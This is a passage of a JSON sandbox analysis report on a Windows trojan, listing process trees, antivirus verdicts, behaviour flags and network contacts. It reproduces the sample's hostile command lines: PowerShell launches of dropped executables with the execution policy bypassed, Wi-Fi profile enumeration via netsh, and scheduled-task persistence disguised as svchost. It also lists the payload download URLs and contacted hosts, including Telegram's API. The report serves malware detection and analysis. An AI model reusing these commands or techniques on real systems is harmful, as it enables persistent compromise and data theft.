Bypass Start-Process -FilePath '\"%TEMP%\\gbztuy.exe\"' & exit","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00001480","pid":9192,"ppid":1480,"sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","uid":"00000000-00009192"},{"command_line":"powershell –ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\gbztuy.exe\"'","name":"powershell.exe","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00009192","pid":860,"ppid":9192,"sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","uid":"00000000-00000860"},{"command_line":"","name":"gbztuy.exe","normalized_path":"%TEMP%\\gbztuy.exe","parent_uid":"00000000-00000860","pid":8120,"ppid":860,"sha256":"ea520d8e6ca1d44593f26ceea349d55709ebd61565f67368947d38e484f5846f","uid":"00000000-00008120"},{"command_line":"/C chcp 65001 && netsh wlan show profile | findstr All","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00008120","pid":6484,"ppid":8120,"sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","uid":"00000000-00006484"},{"command_line":"chcp 65001","name":"chcp.com","normalized_path":"%WINDIR%\\SysWOW64\\chcp.com","parent_uid":"00000000-00006484","pid":4248,"ppid":6484,"sha256":"9465ac026770dd4bf54193f02dec5fbf874af69aa690301c4c7ffa686c0f896a","uid":"00000000-00004248"},{"command_line":"netsh wlan show profile","name":"netsh.exe","normalized_path":"%WINDIR%\\SysWOW64\\netsh.exe","parent_uid":"00000000-00006484","pid":4256,"ppid":6484,"sha256":"6b22dd9817e7fb63d45f675c08121d7051ed626efe65304603de8bf4b93b32cb","uid":"00000000-00004256"},{"command_line":"findstr All","name":"findstr.exe","normalized_path":"%WINDIR%\\SysWOW64\\findstr.exe","parent_uid":"00000000-00006484","pid":2724,"ppid":6484,"sha256":"3a325a8337486df63a0ce02de757a5bc417fa7f9ab6f62d8f46b9be54766fc01","uid":"00000000-00002724"},{"command_line":"/C chcp 65001 && netsh wlan show networks mode=bssid","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00008120","pid":6752,"ppid":8120,"sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","uid":"00000000-00006752"},{"command_line":"chcp 65001","name":"chcp.com","normalized_path":"%WINDIR%\\SysWOW64\\chcp.com","parent_uid":"00000000-00006752","pid":7108,"ppid":6752,"sha256":"9465ac026770dd4bf54193f02dec5fbf874af69aa690301c4c7ffa686c0f896a","uid":"00000000-00007108"},{"command_line":"netsh wlan show networks mode=bssid","name":"netsh.exe","normalized_path":"%WINDIR%\\SysWOW64\\netsh.exe","parent_uid":"00000000-00006752","pid":3792,"ppid":6752,"sha256":"6b22dd9817e7fb63d45f675c08121d7051ed626efe65304603de8bf4b93b32cb","uid":"00000000-00003792"},{"command_line":"/c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\cgyskb.exe\"' & exit","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00001480","pid":7116,"ppid":1480,"sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","uid":"00000000-00007116"},{"command_line":"powershell –ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\cgyskb.exe\"'","name":"powershell.exe","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007116","pid":8680,"ppid":7116,"sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","uid":"00000000-00008680"},{"command_line":"","name":"cgyskb.exe","normalized_path":"%TEMP%\\cgyskb.exe","parent_uid":"00000000-00008680","pid":7156,"ppid":8680,"sha256":"4da3bff89fc796886ca615a29a2595c4109f86fff2a9e699ea1036195719cb3b","uid":"00000000-00007156"},{"command_line":"schtasks /create /tn \"SystemServicesTools\" /tr \"\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00007156","pid":5620,"ppid":7156,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00005620"},{"command_line":"","name":"relog.exe","normalized_path":"%WINDIR%\\system32\\relog.exe","parent_uid":"00000000-00007156","pid":4532,"ppid":7156,"sha256":"304022e2a3eca8e9b8e1679432ed6eaefc460e4dae21de6dc6eb798463410b3f","uid":"00000000-00004532"},{"command_line":"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"4CA8.tmp.PPGcgnyW.exe","normalized_path":"%TEMP%\\4CA8.tmp.PPGcgnyW.exe","pid":8116,"ppid":0,"sha256":"70c6d555938fdc95c03f98a7a3a37b607d1dce623663479082c5b9514caa04fd","uid":"00000000-00008116"},{"command_line":"/c schtasks /create /f /sc onlogon /rl highest /tn \"svchost\" /tr '\"%APPDATA%\\svchost.exe\"' & exit","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00008116","pid":5932,"ppid":8116,"sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","uid":"00000000-00005932"},{"command_line":"schtasks /create /f /sc onlogon /rl highest /tn \"svchost\" /tr '\"%APPDATA%\\svchost.exe\"'","name":"schtasks.exe","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00005932","pid":5116,"ppid":5932,"sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","uid":"00000000-00005116"},{"command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\tmp686C.tmp.bat\"\"","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00008116","pid":4184,"ppid":8116,"sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","uid":"00000000-00004184"},{"command_line":"timeout 3","name":"timeout.exe","normalized_path":"%WINDIR%\\SysWOW64\\timeout.exe","parent_uid":"00000000-00004184","pid":8844,"ppid":4184,"sha256":"35a2d2fc8f5b0baf4dbc489acd24229c0092ff56def50aa3e0043626bc25117f","uid":"00000000-00008844"},{"command_line":"","name":"svchost.exe","normalized_path":"%APPDATA%\\svchost.exe","parent_uid":"00000000-00004184","pid":5552,"ppid":4184,"sha256":"70c6d555938fdc95c03f98a7a3a37b607d1dce623663479082c5b9514caa04fd","uid":"00000000-00005552"},{"command_line":"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"61B7.tmp.nikzbi.exe","normalized_path":"%TEMP%\\61B7.tmp.nikzbi.exe","pid":4980,"ppid":0,"sha256":"70eb843e2b39bacb0b6622b67a69a8488be7182d98b1fe6d41b5275d55f55176","uid":"00000000-00004980"},{"command_line":"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"7502.tmp.schuste.exe","normalized_path":"%TEMP%\\7502.tmp.schuste.exe","pid":6816,"ppid":0,"sha256":"14ace92094ef406bb2b9b8b49d63453896789a2eeb355d4eda0fd747577b60f2","uid":"00000000-00006816"},{"command_line":"","name":"7502.tmp.schuste.exe","normalized_path":"%TEMP%\\7502.tmp.schuste.exe","parent_uid":"00000000-00006816","pid":9140,"ppid":6816,"sha256":"14ace92094ef406bb2b9b8b49d63453896789a2eeb355d4eda0fd747577b60f2","uid":"00000000-00009140"},{"command_line":"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"Service_Macromedia.exe","normalized_path":"%APPDATA%\\Macromedia\\Service_Macromedia.exe","pid":7944,"ppid":0,"sha256":"4da3bff89fc796886ca615a29a2595c4109f86fff2a9e699ea1036195719cb3b","uid":"00000000-00007944"},{"command_line":"schtasks /create /tn \"SystemServicesTools\" /tr \"%APPDATA%\\{A068533DBF09758809014}\\{A068533DBF09758809014}.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\SYSTEM32\\schtasks.exe","parent_uid":"00000000-00007944","pid":8940,"ppid":7944,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00008940"},{"command_line":"","name":"relog.exe","normalized_path":"%WINDIR%\\system32\\relog.exe","parent_uid":"00000000-00007944","pid":8448,"ppid":7944,"sha256":"304022e2a3eca8e9b8e1679432ed6eaefc460e4dae21de6dc6eb798463410b3f","uid":"00000000-00008448"},{"command_line":"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"Service_Microsoft.exe","normalized_path":"%APPDATA%\\Microsoft\\Service_Microsoft.exe","pid":7896,"ppid":0,"sha256":"4da3bff89fc796886ca615a29a2595c4109f86fff2a9e699ea1036195719cb3b","uid":"00000000-00007896"},{"command_line":"schtasks /create /tn \"SystemServicesTools\" /tr \"%APPDATA%\\{A068533DBF09758809014}\\{A068533DBF09758809014}.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\SYSTEM32\\schtasks.exe","parent_uid":"00000000-00007896","pid":6736,"ppid":7896,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00006736"},{"command_line":"","name":"relog.exe","normalized_path":"%WINDIR%\\system32\\relog.exe","parent_uid":"00000000-00007896","pid":9080,"ppid":7896,"sha256":"304022e2a3eca8e9b8e1679432ed6eaefc460e4dae21de6dc6eb798463410b3f","uid":"00000000-00009080"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]}],"keys_deleted":[],"keys_modified":[]},"sample_flags":["Network Traffic","Extracted Files","Sample Crashed","Multi-Process"],"sandbox_reports":[{"analysis_start_time":"2026-09-14T23:09:17+00:00","environment_description":"Windows 7 32 bit","environment_id":100,"id":"6aa87e9cb2fc8df262071a7a","indicators_count":{"informative":165,"malicious":4,"suspicious":27},"is_in_unified_schema":true,"malware_family":"Gen:Heur.Mint.Zard","state":"SUCCESS","submit_name":"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","tags":["Multi-Process","Extracted Files"],"threat_score":100,"verdict":"malicious"},{"analysis_start_time":"2024-08-01T03:09:53+00:00","contacted_countries":["GBR","RUS","USA"],"environment_description":"Windows 10 64 bit","environment_id":160,"id":"66aafc80392e7e46360c1106","indicators_count":{"informative":171,"malicious":15,"suspicious":52},"is_in_unified_schema":true,"state":"SUCCESS","submit_name":"ee5db. Trojan.exe","tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"threat_score":100,"verdict":"malicious"}],"stats":{"contacted_hosts_count":7,"contacted_urls_count":8,"dns_resolutions_count":4,"dropped_files_count":0,"embedded_domains_count":0,"embedded_ips_count":0,"embedded_urls_count":0,"extracted_files_count":3,"files_deleted_count":0,"files_written_count":6,"http_requests_count":8,"imported_dlls_count":96,"injected_processes_count":0,"mutex_created_count":4,"process_count":57,"registry_keys_created_count":1,"registry_keys_deleted_count":0,"registry_keys_modified_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"script_calls_count":0,"spawned_processes_count":57}},"all_analysis_status":{"fastscan_status":"SUCCESS","qsp_status":"SUCCESS","sandbox_status":"SUCCESS"},"detections":{"attributions":{"malware_families":[{"sources":[{"report_id":"","report_type":"quickscan"}],"value":"Mint.Zard.Generic"},{"sources":[{"report_id":"","report_type":"quickscan"}],"value":"Trojan.Generic"}]},"av_detections":{"engines":{"ahnlab":{"data_source":"MetaDefender","name":"AhnLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan/Win.Tnaket","verdict":"malicious"},"antiy":{"data_source":"MetaDefender","name":"Antiy","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan[Banker]/Win32.ClipBanker","verdict":"malicious"},"aurora":{"data_source":"MetaDefender","name":"Aurora","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware_-10","verdict":"malicious"},"avira":{"data_source":"MetaDefender","name":"Avira","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"TR/W64.MalwareX","verdict":"malicious"},"bitdefender":{"data_source":"MetaDefender","name":"Bitdefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Gen:Heur.Mint.Zard.1","verdict":"malicious"},"clamav":{"data_source":"MetaDefender","name":"ClamAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Win.Trojan.Generic-10034827-0","verdict":"malicious"},"cmc":{"data_source":"MetaDefender","name":"CMC","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"comodo":{"data_source":"MetaDefender","name":"Comodo","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"cylance":{"data_source":"MetaDefender","name":"Cylance","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware","verdict":"malicious"},"emsisoft":{"data_source":"MetaDefender","name":"Emsisoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Gen:Heur.Mint.Zard.1 (B)","verdict":"malicious"},"eset":{"data_source":"MetaDefender","name":"ESET","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"a variant of Win64/Agent.EAQ trojan","verdict":"malicious"},"filseclab":{"data_source":"MetaDefender","name":"Filseclab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"UDS:Trojan.Generic.gkex","verdict":"malicious"},"gridinsoft":{"data_source":"MetaDefender","name":"Gridinsoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan.Win32.Agent.vl!n","verdict":"malicious"},"huorong":{"data_source":"MetaDefender","name":"Huorong","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"k7":{"data_source":"MetaDefender","name":"K7","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan ( 005b77d11 )","verdict":"malicious"},"lionic":{"data_source":"MetaDefender","name":"Lionic","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"mcafee":{"data_source":"MetaDefender","name":"McAfee","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"nanoav":{"data_source":"MetaDefender","name":"NANOAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"netgate":{"data_source":"MetaDefender","name":"NETGATE","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"HackTool.Win32.Generic","verdict":"malicious"},"rocketcyber":{"data_source":"MetaDefender","name":"RocketCyber","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Confidence_97","verdict":"malicious"},"sentinelone":{"data_source":"MetaDefender","name":"SentinelOne","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"capa_reference_analysis_tools_strings","verdict":"malicious"},"sophos":{"data_source":"MetaDefender","name":"Sophos","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"tachyon":{"data_source":"MetaDefender","name":"TACHYON","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"trellix":{"data_source":"MetaDefender","name":"Trellix","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"varist":{"data_source":"MetaDefender","name":"Varist","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"W32/ABTrojan.FBYA-2618","verdict":"malicious"},"viritexplorer":{"data_source":"MetaDefender","name":"Vir.IT eXplorer","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan.Win32.Genus.WEN","verdict":"malicious"},"virusblokada":{"data_source":"MetaDefender","name":"VirusBlokAda","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"webrootsmd":{"data_source":"MetaDefender","name":"Webroot SMD","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware","verdict":"malicious"},"xcitium":{"data_source":"MetaDefender","name":"Xcitium","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Malware","verdict":"malicious"},"zillya":{"data_source":"MetaDefender","name":"Zillya!","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan.Agent.Win64.60392","verdict":"malicious"}}},"incidents":[{"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly checks for the presence of a forensics/monitoring tool"}],"details_count":2,"name":"Evasive","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"details":[{"detail":"GETs/downloads executable files from web server"}],"details_count":1,"name":"Exploit","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"details_count":1,"name":"Network Behavior","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Found browser information locations related strings"}],"details_count":3,"name":"Spyware","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"},{"detail":"Creates a fake system process"}],"details_count":5,"name":"Persistence","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"details":[{"detail":"Queries process information"},{"detail":"Tries to identify its external IP address"},{"detail":"Detected network related fingerprinting/snooping attempt"},{"detail":"Retrieves system network configuration using NETSH utility"}],"details_count":4,"name":"Fingerprint","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]}],"intel_graph":{"chains":[{"edges":[],"id":"1549195369463030655","root":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","verdict":{"reasons":["File reported as trojan by ClamAV antivirus"],"verdict":"malicious","verdict_source":"ClamAV Antivirus"}},{"edges":[{"edge_kind":"contacted_ip","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Ip:149.154.167.220"},{"edge_kind":"contacted_ip","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Ip:172.67.19.24"},{"edge_kind":"contacted_ip","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Ip:176.111.174.140"},{"edge_kind":"contacted_ip","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Ip:176.111.174.140"},{"edge_kind":"contacted_ip","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Ip:176.111.174.140"},{"edge_kind":"contacted_ip","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Ip:104.16.184.241"},{"edge_kind":"contacted_ip","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Ip:172.67.196.114"},{"edge_kind":"contacted_domain","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Domain:icanhazip.com"},{"edge_kind":"resolves_to","from_key":"Domain:icanhazip.com","to_key":"Ip:104.16.184.241"},{"edge_kind":"contacted_domain","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Domain:pastebin.com"},{"edge_kind":"resolves_to","from_key":"Domain:pastebin.com","to_key":"Ip:172.67.19.24"},{"edge_kind":"contacted_domain","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Domain:api.mylnikov.org"},{"edge_kind":"resolves_to","from_key":"Domain:api.mylnikov.org","to_key":"Ip:172.67.196.114"},{"edge_kind":"contacted_domain","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Domain:api.telegram.org"},{"edge_kind":"resolves_to","from_key":"Domain:api.telegram.org","to_key":"Ip:149.154.167.220"},{"edge_kind":"contacted_url","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Url:/schuste.exe"},{"edge_kind":"contacted_url","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Url:/event.php"},{"edge_kind":"contacted_url","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Url:/api/update.pack"},{"edge_kind":"contacted_url","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Url:/api/update2.pack"},{"edge_kind":"contacted_url","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Url:/api.php?{A068533DBF09758809014}"},{"edge_kind":"contacted_url","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Url:/"},{"edge_kind":"contacted_url","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Url:/PPGcgnyW.exe"},{"edge_kind":"contacted_url","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"Url:/nikzbi.exe"}],"id":"sandbox_network","root":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"edges":[{"edge_kind":"extracted","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"File:4da3bff89fc796886ca615a29a2595c4109f86fff2a9e699ea1036195719cb3b"},{"edge_kind":"extracted","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"File:2caf9c731aed0499a13f7d8ebfb0a12f67a554b8e101f0f888be4b186cd512d8"},{"edge_kind":"extracted","from_key":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","to_key":"File:c3f4c76a40d840e4026cc1a0a653171b7036fa213ffcd5c2a0ddfeef7479b76a"}],"id":"sandbox_files","root":"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","verdict":{"verdict":"unknown","verdict_source":"sandbox"}}],"map":{"Domain:api.mylnikov.org":{"type":"Domain","value":"api.mylnikov.org"},"Domain:api.telegram.org":{"type":"Domain","value":"api.telegram.org"},"Domain:icanhazip.com":{"type":"Domain","value":"icanhazip.com"},"Domain:pastebin.com":{"type":"Domain","value":"pastebin.com"},"File:2caf9c731aed0499a13f7d8ebfb0a12f67a554b8e101f0f888be4b186cd512d8":{"type":"File","value":"2caf9c731aed0499a13f7d8ebfb0a12f67a554b8e101f0f888be4b186cd512d8